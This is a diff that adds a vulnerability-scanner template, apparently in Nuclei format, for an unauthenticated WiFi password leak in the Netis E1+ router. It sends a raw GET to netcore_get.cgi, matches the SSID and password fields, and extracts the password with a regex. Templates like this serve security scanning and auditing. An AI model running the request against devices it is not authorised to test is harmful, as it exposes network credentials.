diff --git a/vulnerabilities/other/netis-info-leak.yaml b/vulnerabilities/other/netis-info-leak.yaml new file mode 100644 index 0000000000..9cfa7fac56 --- /dev/null +++ b/vulnerabilities/other/netis-info-leak.yaml @@ -0,0 +1,34 @@ +id: netis-info-leak + +info: + name: Netis E1+ V1.2.32533 - Unauthenticated WiFi Password Leak + author: gy741 + severity: medium + reference: https://www.exploit-db.com/exploits/48384 + tags: netis,exposure + +requests: + - raw: + - | + GET //netcore_get.cgi HTTP/1.1 + Host: {{Hostname}} + Cookie: homeFirstShow=yes + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "rp_ap_password" + - "rp_ap_ssid" + part: body + condition: and + + extractors: + - type: regex + part: body + regex: + - "'rp_soon_password':'([A-Za-z0-9]+)'"